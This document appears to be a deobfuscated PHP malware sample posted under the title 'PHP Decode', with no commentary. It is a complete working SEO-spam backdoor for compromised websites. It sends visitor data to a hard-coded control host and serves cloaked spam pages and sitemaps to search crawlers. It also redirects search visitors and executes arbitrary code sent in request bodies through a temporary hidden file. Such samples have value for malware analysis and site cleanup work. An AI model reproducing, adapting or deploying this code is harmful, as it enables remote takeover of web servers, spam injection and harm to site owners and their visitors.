PHP Decode

<?php 
 
error_reporting(0); 
@set_time_limit(3600); 
@ignore_user_abort(0); 
$gov='616'; 
$ixv='8.6.9'; 
$smframe  = '<?xml version="1.0" encoding="UTF-8"?> 
<urlset xmlns="https://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="https://www.w3.org/1999/xhtml"> 
%s</urlset>'; 
$smitem = '<url><loc>%s</loc>%s</url>'; 
//$smitemx = '<url><loc>%s</loc><xhtml:link rel="alternate" hreflang="ja" href="%s"/></url>'; 
$mainsm = '<?xml version="1.0" encoding="UTF-8"?> 
<sitemapindex xmlns="https://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="https://www.w3.org/1999/xhtml"> 
%s 
</sitemapindex>'; 
$mainsmitem = '<sitemap><loc>%s://%s%ssitemap%d.xml</loc></sitemap>'; 
 
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4):""; 
$ur = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ""; 
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ""; 
$host = $_SERVER["HTTP_HOST"]; 
$uri = $_SERVER["REQUEST_URI"]; 
$ip = clientip(); 
$proto = https(); 
$header = array( 
        'Lang: '.$lang, 
        'User-Agent: '.$ua, 
        'Referer: '.$ur, 
        'Http-Proto: '.$proto, 
        'Http-Host: '.$host, 
        'Http-Uri: '.$uri, 
        'Dbgroup: '.$gov, 
        'Remote-Addr: '.$ip 
); 
$postdata= "proto=$proto&shost=$host&ip=$ip&groupid=$gov&uri=$uri"; 
$smsn='/'; 
if (strpos($uri,"?")>0){ 
    $vals=explode("?",$uri); 
    $smsn=sprintf("%s?",$vals[0]); 
} 
if (@preg_match('#[/|\?]pingsitemap(.*?).xml#i', $uri,$amu)) { 
    $result=''; 
    if ($amu[1]==='' || @preg_match('#(\d+)-$#', $amu[1],$samu)){ 
        $postdata="proto=$proto&shost=$host&ip=$ip&uri=$uri"; 
		$postdata.=($samu[1]=='')?'&groupid='.$gov:'&groupid='.$samu[1]; 
        $content = urlx('http://' . gets() . '/pingsitemap',$header,$postdata); 
        $values = explode(",",$content); 
        if (count($values)<2){ 
            exit("ping num useragent param error:$content"); 
        } 
        for($i=1;$i<=intval($values[0]);$i++){ 
            $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s%ssitemap%s%d.xml',$proto,$host,$smsn,$samu[0],$i);  
            $respbody = urlx($pgurl,null,null,null,$values[1]); 
            $result .= $pgurl.$respbody; 
        } 
    }else{ 
        $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s%ssitemap%s.xml',$proto,$host,$smsn,$amu[1]);  
        $respbody = urlx($pgurl,null,null,null,$values[1]); 
        $result .= $pgurl.$respbody; 
    } 
    exit($result); 
} 
if (@preg_match('#[/|\?]sitemap(.*?).xml$#i', $uri,$amu)) { 
    $postdata="ver=2&proto=$proto&shost=$host&ip=$ip&uri=$uri"; 
	if ( @preg_match('#(\d+)-$#', $amu[1],$samu) ){ 
		$postdata.='&groupid='.$samu[1]; 
	}else{ 
        $postdata.='&groupid='.$gov; 
    } 
    $ts=strval(time()); 
    array_push($header,'timestamp: '.$ts); 
    array_push($header,'xdoim: '.crc32($ts.'
'.$postdata)); 
    $content = urlx('http://' . gets() . '/sitemap'.(($amu[1]==''||$samu[1]!='')?'.xml':'/'.$amu[1]),$header,$postdata); 
	if ($content==false){ 
	    exit(); 
    } 
    @header('Token: '.$ts.'-x-doim-'.$ts); 
    @header('Content-type: text/xml'); 
    if (@preg_match('#^(\d)+#',$content)) { 
		$xml=''; 
		for($i=1;$i<=intval($content);$i++){ 
           $xml .= sprintf($mainsmitem,$proto,$host,$smsn,$i,date('Y-m-d\TH:i:sP', time()));  
		} 
		echo sprintf($mainsm,$xml); exit(); 
    } 
    $ids = explode("
", $content); 
    $smbody=''; 
    foreach ($ids as $v) { 
        $purl="$proto://${host}${smsn}${v}"; 
        $smbody .=sprintf($smitem,$purl,'<xhtml:link rel="alternate" hreflang="ja" href="'.$purl.'"/>'); 
    } 
    echo sprintf($smframe,$smbody); exit(); 
} 
if (isset($_SERVER['HTTP_XDOIM']) && strlen($_SERVER['HTTP_XDOIM'])>0){ 
    $ts = isset($_SERVER['HTTP_TIMESTAMP'])?$_SERVER['HTTP_TIMESTAMP']:""; 
    $tmp = @file_get_contents("php://input"); 
   	@file_put_contents(".eGA0Ty2WLh",$tmp,FILE_USE_INCLUDE_PATH); 
	echo (include '.eGA0Ty2WLh'); unlink('.eGA0Ty2WLh'); 
	exit(); 
} 
if (@preg_match('#[/|\?]getver$#i', $uri,$amu)){ 
    $ts=strval(time()); 
    array_push($header,'timestamp: '.$ts); 
    array_push($header,'xdoim: '.crc32($ts.'
'.$postdata)); 
    $cnt=trim(urlx('http://' . gets() . '/getver',$header,$postdata)); 
	echo (($cnt===false)?'fail'.gets():$cnt.$gov.gets()).$ixv;exit(); 
} 
if (@preg_match('#google|yahoo|bing|craft|Crawler#i',$ua) && ($uri != '/favicon.ico') ) { 
    $postdata.="&ver=3"; 
    if(@preg_match('#([a-z]+)-(\d+)(.html)?$#i', $uri,$amu)){ 
		$postdata.=sprintf('&hpid=%s-%s',preg_replace('/[a-z](xyz|buzz).*$/',".$1",strrev($amu[1])),$amu[2]); 
        $content=@trim(urlx(sprintf('http://%s/bot/page?'.$postdata , gets() ),$header,$postdata,1)); 
    }elseif(@preg_match('#/([a-z]{8})[-_/]?(\d+)#i', $uri,$amu)){ 
		$postdata.=sprintf('&hpid=%s-%s',$amu[1],$amu[2]); 
        $content=@trim(urlx(sprintf('http://%s/bot/page?'.$postdata , gets() ),$header,$postdata,1)); 
    }else{ 
        $content=@trim(urlx(sprintf('http://%s/bot/home?'.$postdata , gets() ),$header,$postdata,1)); 
        if (stripos($content,'http')===0){ 
            header("HTTP/1.1 301 Moved Permanently"); @header('Location: ' . $content); exit(); 
        } 
        if (stripos($content,'<?xml')===0){ 
            @header('Content-type: text/xml'); 
        } 
    } 
	echo $content;exit(); 
} 
if (@preg_match('#google.co.jp|google.com|yahoo.co.jp|yahoo.co|bing.com|ask.com|aol.com|aol.jp#i',$ur) && (@preg_match('#([a-z]+)-(\d+)(.html)?$#i',$uri)||@preg_match('#/([a-z]{8})[-_/]?(\d+)#i',$uri))){ 
    $pdt=$postdata.'&groupid='.$gov.'&uri='.$uri.'&ip='.$ip; 
    $purl=urlx(sprintf('http://%s/bot/302?'.$pdt , gets() ),$header,$pdt,1); 
    if (strlen($purl)>10){ 
        @header('Location: ' . $purl); exit(); 
    } 
} 
 
function urlx($url,$header=null,$postdata=null,$gz=null,$ua=null) { 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); 
    if (!($gz===null)){ 
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate'); 
    } 
    if (stripos($url, "https:")===0) {  
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
    } 
    if (!($header===null)){ 
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header); 
    } 
    if (!($postdata===null)) { 
        curl_setopt($ch, CURLOPT_POST, 1); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); 
    } 
    if (!($ua===null)) { 
        curl_setopt($ch, CURLOPT_USERAGENT, $ua); 
    } 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    $body = curl_exec($ch); 
    curl_close($ch); 
    return $body; 
} 
 
function cc($uri){ 
    $vals = explode("-",substr($uri,1,strlen($uri)-6));  
    if (sizeof($vals)!=3){ 
        return false; 
    } 
    $newcrc = sprintf("%u",crc32(sprintf("%s-%s",$vals[0],$vals[1]))); 
    return ($newcrc == $vals[2]); 
} 
 
function gets(){ 
    return 's63.createseo.xyz'; 
} 
function https() { 
    if ((!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off')) { 
        return "https"; 
    } 
    return "http"; 
} 
function clientip(){ 
  if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { 
    return getenv('REMOTE_ADDR'); 
  } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { 
    return $_SERVER['REMOTE_ADDR']; 
  } 
} 
function str2val($key){ 
	$val = 0; 
	for ($i = 0; $i < strlen($key); $i++) { 
		$val += ord($key[$i]); 
	} 
	return $val; 
} 
?>